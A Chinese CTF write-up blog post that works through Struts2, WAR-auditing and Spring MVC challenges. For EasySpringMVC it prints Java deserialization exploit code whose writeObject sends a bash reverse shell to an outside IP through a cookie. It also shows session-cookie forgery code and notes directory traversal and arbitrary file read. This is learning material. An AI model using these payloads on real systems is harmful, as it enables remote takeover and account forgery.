前言

最近在学习java,恰好在ctfshow上看到了java相关的题目,于是学习了一下,并记录下了自己的做题记录。

题目

一下对于struct2 漏洞均不了解原理。

根据提示:

image.png

猜测是struct2 001漏洞

检测:

image.png

扫描器结果:

image.png

确认存在s2-001和s2-016漏洞,直接找paylod来打:

image.png

执行系统命令:

扫描器不知道为什么不可以直接执行,这里找poc打:

image.png

将工具修改后拿到flag:

利用工具:

struct2利用工具

需要修改:参考struct2报错解决

在环境变量中:

image.png

题目2

扫描器一把梭,存在struct2 -016:

image.png

题目279-297

直接工具利用struct2

298

给了一个war包,这里先还原java项目:用的是jd-gui

image.png

接下来开始代码审计:

**WEB-INF是用来存储服务端配置文件信息和在服务端运行的类文件的,它下面的东西不允许客户端直接访问的。
一般会有 web.xml文件(WEB项目配置文件)
通过文件读取该文件我们可以获取到这个项目的架构和配置信息(编码、过滤器、监听器…)**

由于是ctf题目,这里先找flag的关键位置:

image.png

需要admin登陆,且是vip:

这里先将其部署到本地,环境不知道为什么使用不了!

image.png

根据web.xml:

image.png

访问login

image.png

根据代码,username传入admin,password传入ctfshow:

image.png

由于是本地搭建:

image.png

所以会提示找不到指定文件

image.png

flag{f1919457-098c-4353-b042-d724691f9301}

buuctf EasySpringMVC

这是V&N内部考核的一道ctf题目:

同上,首先部署WAR,也可以直接改为zip然后解压:

image.png

首先还是查看web.xml

image.png

存在filter。

查看filter代码:

 package WEB-INF.classes.com.filters;

import com.tools.ClientInfo;
import com.tools.Tools;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;

import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ClentInfoFilter implements Filter {
  public void init(FilterConfig fcg) {}
  
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
    Cookie[] cookies = ((HttpServletRequest)request).getCookies();
    boolean exist = false;
    Cookie cookie = null;
    if (cookies != null)
      for (Cookie c : cookies) {
        if (c.getName().equals("cinfo")) {
          exist = true;
          cookie = c;
          break;
        } 
      }  
    if (exist) {
      String b64 = cookie.getValue();
      Base64.Decoder decoder = Base64.getDecoder();
      byte[] bytes = decoder.decode(b64);
      ClientInfo cinfo = null;
      if (b64.equals("") || bytes == null) {
        cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
        Base64.Encoder encoder = Base64.getEncoder();
        try {
          bytes = Tools.create(cinfo);
        } catch (Exception e) {
          e.printStackTrace();
        } 
        cookie.setValue(encoder.encodeToString(bytes));
      } else {
        try {
          cinfo = (ClientInfo)Tools.parse(bytes);
        } catch (Exception e) {
          e.printStackTrace();
        } 
      } 
      ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
    } else {
      Base64.Encoder encoder = Base64.getEncoder();
      try {
        ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
        byte[] bytes = Tools.create(cinfo);
        cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
        cookie.setMaxAge(86400);
        ((HttpServletResponse)response).addCookie(cookie);
        ((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
      } catch (Exception e) {
        e.printStackTrace();
      } 
    } 
    chain.doFilter(request, response);
  }
  
  public void destroy() {}
}

可以看到:image.pngcookie中存在cinfo参数会进行base64解码,解码成功后调用tools.parse解析

看一下tools这个servlet:

image.png

很明显的一个java反序列化问题,ProcessBuilder可以执行系统命令,常见的就是runtime和process,在java中序列化与反序列化依赖的是:
ObjectInputStream 类的 readObject() 方法用于反序列化

ObjectOutputStream类的 writeObject() 方法可以实现序列化

image.png

恰好这里对cookie中的cinfo进行反序列化,且cinfo可控。所以可以导致rce:

还有一个小知识点:

readObject进行反序列化其实就是去读取writeObject的内容,所以在tools中重写一下这个方法即可:

由于权限问题,自己创建一个项目,把相关的servlet复制过来:

payload:

image.png

看了很多师傅的文章,主要知识点都是在进行序列化和反序列化的时候,如果重写了weriteobject和readobject方法,且是私有的话,会优先调用这个方法。所以这里采用重写writeobject的方法实现:

package com.tools;

import java.io.*;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;

    public static Object parse(byte[] bytes) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
        return ois.readObject();
    }
    public static byte[] create(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(bos);
        outputStream.writeObject(obj);
        return bos.toByteArray();
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        Object obj = in.readObject();
        (new ProcessBuilder((String[])obj)).start();
    }
    private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
        String command[]={"bash","-c","bash -i>& /dev/tcp/172.16.149.213/2333 0>&1"};
        out.writeObject(command);
    }
}

修改cookie,在/readflag得到flag

image.png

看了赵总的博客,发现还有其他的几个漏洞:

这里均复现一下

赵总的博客中

链接

添加一个字符数组,然后将命令复制,在调用creattools方法

cookie伪造:

image.png

clientinfo类封装了name,group,id三个属性。并且继承了Serializable,意味着我们可以反序列化这个类,达到cookie伪造:

image.png

伪造后的页面,拥有上传和查看的功能

 package com.tools;

import java.io.*;
import java.util.Base64;
public class Main {
    public static void main(String[] args) {
        Base64.Encoder encoder = Base64.getEncoder();
//        try {
//            Tools cinfo = new Tools();
//            byte[] bytes = Tools.create(cinfo);
//            String payload = encoder.encodeToString(bytes);
//            System.out.println(payload);
//        } catch (Exception e) {
//            e.printStackTrace();
//        }
        try{
            ClientInfo cinfo = new ClientInfo("admin","webmanager","1");
            byte[] bytes = Tools.create(cinfo); //序列化
            System.out.println(encoder.encodeToString(bytes));
//
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

上传功能逻辑:

 @RequestMapping({"/uploadpic.form"})
  public String upload(MultipartFile file, HttpServletRequest request, HttpServletResponse response) throws Exception {
    ClientInfo cinfo = (ClientInfo)request.getSession().getAttribute("cinfo");
    if (!cinfo.getGroup().equals("webmanager"))
      return "notaccess"; 
    if (file == null)
      return "uploadpic"; 
    String originalFilename = ((DiskFileItem)((CommonsMultipartFile)file).getFileItem()).getName();
    String realPath = request.getSession().getServletContext().getRealPath("/WEB-INF/resource/");
    String path = realPath + originalFilename;
    file.transferTo(new File(path));
    request.getSession().setAttribute("newpicfile", path);
    return "uploadpic";
  }
}

直接使用transferto上传文件,对path没有进行检测,尝试目录穿越:

image.png

就只有tmp目录有权限,所以目录穿越没有什么利用价值image.png

show任意文件读取:

image.png

image.png

在不是jsp的时候会调用show方法:

image.png

由于contentType设置成了image/jpeg,所以浏览器中无法查看,在burp中即可查看。由于权限问题无法直接读flag

[RoarCTF 2019]Easy

进入之后help 存在下载:

image.png

需要尝改为post,试读取一些配置文件:

image.png

java web目录结构:

参考:https://blog.csdn.net/wy_97/article/details/78165051

将flag下载下来之后base64解码获得flag

Last modification:January 27th, 2021 at 10:53 am